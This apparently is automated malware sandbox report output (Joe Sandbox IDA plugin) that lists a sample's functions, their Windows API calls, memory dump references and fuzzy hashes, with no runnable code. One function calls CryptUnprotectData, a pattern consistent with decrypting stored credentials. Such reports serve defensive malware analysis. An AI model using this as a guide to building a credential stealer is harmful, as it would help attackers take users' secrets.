Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 4ddcf7b599673e4a581226aaa72372481e8ecb3c501fa4a2958b9e660f0a2180
Instruction ID: 455c131e5be6d8e57011c4591576bf2ad289e13d9fc5397592bfa57ef776d5ea
Opcode Fuzzy Hash: 4ddcf7b599673e4a581226aaa72372481e8ecb3c501fa4a2958b9e660f0a2180
Instruction Fuzzy Hash: 9221EAB5D1020DABCF08EFE4D9459EEBBB5FF48300F04852AE506E3254EB749605CB69

Function 005E7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 005E724D
RtlAllocateHeap.NTDLL(00000000), ref: 005E7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 005E7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 005E72A4
LocalFree.KERNEL32(?), ref: 005E72AE

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 8589eca7077af2a24f645c16bd4c53cc1b35754de6b79fb41617d3b908efbf04
Instruction ID: 0b97bbcdecdffa895209d3cb24f1d49399da1fcef0fd739492ca180dbf351fb1
Opcode Fuzzy Hash: 8589eca7077af2a24f645c16bd4c53cc1b35754de6b79fb41617d3b908efbf04
Instruction Fuzzy Hash: DB010075A40208BBEB28DFD4DD46F9E7BB9BF44700F108555FB05AA2C0D770AA018B65

Function 005F8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,005E5184,40000001,00000000,00000000,?,005E5184), ref: 005F8EC0

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 29d3f3109aea7ecff463767d74a1848fd1810aec21599a4b935023b64aa18649
Instruction ID: d5000802efed863517aaf147620055d57078ff66fde946cb392da8378c00adcf
Opcode Fuzzy Hash: 29d3f3109aea7ecff463767d74a1848fd1810aec21599a4b935023b64aa18649
Instruction Fuzzy Hash: 20111870200209BFDB04CF64D885FBB3BAABF89700F109858FA198B250DB79EC41DB60

Function 009A88A1 Relevance: 5.4, Strings: 3, Instructions: 1639COMMON

Download Yara Rule

Strings

Jrj, xrefs: 009A9AB4
Vy, xrefs: 009A8B2A
/G~, xrefs: 009A9591

Memory Dump Source

Source File: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Vy$/G~$Jrj
API String ID: 0-369372083
Opcode ID: c157b08f120c4dea996b7a1be95df95193afad0dadbd1855c245fbd3a4db8e08
Instruction ID: 6ab5f4bed526f5f74c4abc2bc9c7d77aaa8abc8cd282eddaac91570732239bc6
Opcode Fuzzy Hash: c157b08f120c4dea996b7a1be95df95193afad0dadbd1855c245fbd3a4db8e08
Instruction Fuzzy Hash: ACB209F39083049FE304AE2DEC8567AB7E9EF94720F1A493DEAC4C3744E97558058697

Function 009B1204 Relevance: 5.3, Strings: 3, Instructions: 1599COMMON

Download Yara Rule

Strings

jQ-', xrefs: 009B1E4B
c{ww, xrefs: 009B1224
;>O, xrefs: 009B1665

Memory Dump Source

Source File: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ;>O$c{ww$jQ-'
API String ID: 0-1963627981
Opcode ID: d0e715b1bcd6555bb9b6ef56597c18ada60ec1607e9296aecc067b619646405d
Instruction ID: 89eaf66502219e81921f468050ad6c72915d8f7b1365d712156e32c14684e103
Opcode Fuzzy Hash: d0e715b1bcd6555bb9b6ef56597c18ada60ec1607e9296aecc067b619646405d
Instruction Fuzzy Hash: 50B2D4F390C214AFE3046E29EC8567ABBE9EF94720F1A493DEAC5C3740E63558448797

Function 009AC4F3 Relevance: 5.0, Strings: 3, Instructions: 1287COMMON

Download Yara Rule

Strings

.[?, xrefs: 009ACCA2
{o, xrefs: 009AD26A
7a'{, xrefs: 009AD077

Memory Dump Source

Source File: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 7a'{${o$.[?
API String ID: 0-3932685281
Opcode ID: 185540acebd8b674ee6281fc5c31a24f2e11aeac03b7ac7c41a7449184617443
Instruction ID: b89f45306614463908a01860069536e20fc60fe5e5c455e67da4bbf007aca6dd
Opcode Fuzzy Hash: 185540acebd8b674ee6281fc5c31a24f2e11aeac03b7ac7c41a7449184617443
Instruction Fuzzy Hash: 4A8238F3A082149FD3046E2DDC8567AFBE5EF94320F1A463DEAC5C3744EA3558018697

Function 6C696CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C696D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C696E1E

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
Instruction ID: cef72b3a95c0d67210e09b72d9d8342b2118f061bfe39851605f90312853d60d
Opcode Fuzzy Hash: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
Instruction Fuzzy Hash: 2BA17E706183818FC755CF25C490BAEFBE2BF89308F44495DE48A87751DB70E949CB96

Function 005F3720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(005FE118,00000000,00000001,005FE108,00000000), ref: 005F3758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 005F37B0

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: e961dd5ff9247f25589f3a670fdfa8b6a7249fb454d390878b8cb5d689ee7660
Instruction ID: 94ed2da8e289fa37d7e8e3be6464966d7458d2536dda03bc735155162d531707
Opcode Fuzzy Hash: e961dd5ff9247f25589f3a670fdfa8b6a7249fb454d390878b8cb5d689ee7660
Instruction Fuzzy Hash: 7841E971A40A1C9FDB24DB58CC95FABB7B5BB48702F4081D8E608A7290E7756E85CF50

Function 009A1F95 Relevance: 4.1, Strings: 2, Instructions: 1587COMMON

Download Yara Rule

Strings

)}s, xrefs: 009A2C0D
OQm], xrefs: 009A1FBE

Memory Dump Source

Source File: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: )}s$OQm]
API String ID: 0-3579439479
Opcode ID: dc36a72c8597812790a257af9c01f212d41318bfcca5ebc057df6919ff9163c0
Instruction ID: 0bcee1dade7ad78302b1f9a5a66b99303e80056e9b362109229c642f46f32199
Opcode Fuzzy Hash: dc36a72c8597812790a257af9c01f212d41318bfcca5ebc057df6919ff9163c0
Instruction Fuzzy Hash: 84B2F5F3A0C2009FE304AF29EC9567ABBE5EF94720F1A493DEAC5C3744E63558058697

Function 6C6B85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6B8C7C
__aulldiv.LIBCMT ref: 6C6B8DD7

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 814de8cf06003e87ebb2477e944c0d94209f8b6e29ef4fbe5db3ef8435c7af2b
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: D5328F71F0011A8BDF18CE9CC8A17AEB7B2FB8C304F15853AD506BB7A0DA349D558B95

Function 6C695C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C664A63,?,?), ref: 6C695F06

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction ID: 4e78ddb84189f0b869c18d016eff578674f1ff09ffa21a39c9186e2f069ba6a1
